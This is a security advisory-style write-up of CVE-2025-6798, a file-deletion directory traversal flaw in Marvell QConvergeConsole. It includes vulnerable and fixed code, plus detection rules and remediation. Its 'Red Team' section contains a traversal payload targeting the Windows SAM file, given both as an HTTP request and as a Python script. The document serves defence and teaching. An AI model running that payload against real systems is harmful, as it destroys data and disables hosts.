CVE-2025-6798

Executive Summary

CVE-2025-6798 is a critical directory traversal vulnerability in Marvell QConvergeConsole, specifically within the deleteAppFile method. The flaw allows an unauthenticated remote attacker to delete arbitrary files on the target system by supplying a maliciously crafted path. Since the application runs with SYSTEM privileges, the attacker can delete critical system files, leading to denial of service, data loss, or potential privilege escalation. No authentication is required, and no patch is currently available. The vulnerability was reported via ZDI-CAN-24918.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: High

The high integrity and availability impacts, combined with no authentication requirement, make this a severe threat. An attacker can delete arbitrary files, potentially crippling the system.

Deep Dive & Mechanics

The vulnerability resides in the deleteAppFile method of Marvell QConvergeConsole. This method is designed to delete application-specific files, but it fails to properly validate user-supplied path input. Specifically, the application does not sanitize or restrict directory traversal sequences (e.g., ../). An attacker can supply a path like ../../Windows/System32/config/SAM to delete critical system files.

The application runs with SYSTEM privileges, so any file deletion is performed with the highest level of access. This means the attacker can delete files in any directory, including system directories, without restriction.

Attack Flow:

1. The attacker sends a crafted HTTP request to the vulnerable endpoint.
2. The request includes a path parameter containing directory traversal sequences.
3. The application passes this path directly to a file deletion API without validation.
4. The file is deleted with SYSTEM privileges.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

public void deleteAppFile(String userPath) {
    File file = new File(userPath);
    if (file.exists()) {
        file.delete();
    }
}

Patched Code (Expected):

public void deleteAppFile(String userPath) {
    // Normalize and validate path
    String baseDir = "/var/qconvergeconsole/apps/";
    String normalizedPath = Paths.get(baseDir, userPath).normalize().toString();
    if (!normalizedPath.startsWith(baseDir)) {
        throw new SecurityException("Invalid path");
    }
    File file = new File(normalizedPath);
    if (file.exists()) {
        file.delete();
    }
}

The patched version would restrict file operations to a specific base directory and reject any path that escapes it.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Marvell QConvergeConsole (any version)
• Attacker: Kali Linux with curl or Burp Suite

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /api/deleteAppFile).
2. Craft a request with a directory traversal payload:

   POST /api/deleteAppFile HTTP/1.1
   Host: target.com
   Content-Type: application/json
   
   {"path": "../../Windows/System32/config/SAM"}
   

3. Send the request. The file will be deleted.

Automated Exploit (Python):

import requests

target = "http://target.com/api/deleteAppFile"
payload = {"path": "../../Windows/System32/config/SAM"}
response = requests.post(target, json=payload)
print(response.status_code)

Blue Team

Detection:

• Monitor for HTTP requests containing ../ or ..\\ in the path parameter.
• Alert on file deletion events for critical system files (e.g., SAM, SYSTEM, boot.ini).
• Use file integrity monitoring (FIM) to detect unauthorized deletions.

Mitigation:

• If possible, restrict access to the vulnerable endpoint via firewall or WAF rules.
• Implement input validation to block directory traversal sequences.
• Run the application with least privilege (not SYSTEM).

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/deleteAppFile with path parameter containing ../ or ..\\.
• File System: Unexpected deletion of files in C:\Windows\System32\, /etc/, or other sensitive directories.
• Logs: Application logs showing file deletion operations with paths containing ../.

Detection Engineering

YARA Rule

rule CVE_2025_6798_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts in Marvell QConvergeConsole deleteAppFile"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6798"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "/api/deleteAppFile"
    condition:
        any of ($traversal*) and $endpoint
}

Sigma Rule

title: CVE-2025-6798 Directory Traversal in Marvell QConvergeConsole
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects directory traversal attempts targeting deleteAppFile endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: marvell_qconvergeconsole
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/deleteAppFile'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6798 Directory Traversal in Marvell QConvergeConsole"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/deleteAppFile"; http.client_body; content:"../"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from untrusted networks.
2. Apply a WAF rule to block requests containing ../ or ..\\ in the path parameter.
3. Monitor for file deletion events and investigate any suspicious activity.

Long-Term Fix:

• Vendor Patch: Await an official patch from Marvell. Until then, consider disabling the deleteAppFile endpoint if possible.
• Input Validation: Implement strict path validation that restricts file operations to a predefined safe directory.
• Least Privilege: Run the application with a low-privileged account instead of SYSTEM.

Workaround:

• If the endpoint is not critical, block it at the firewall or reverse proxy level.

Valters IT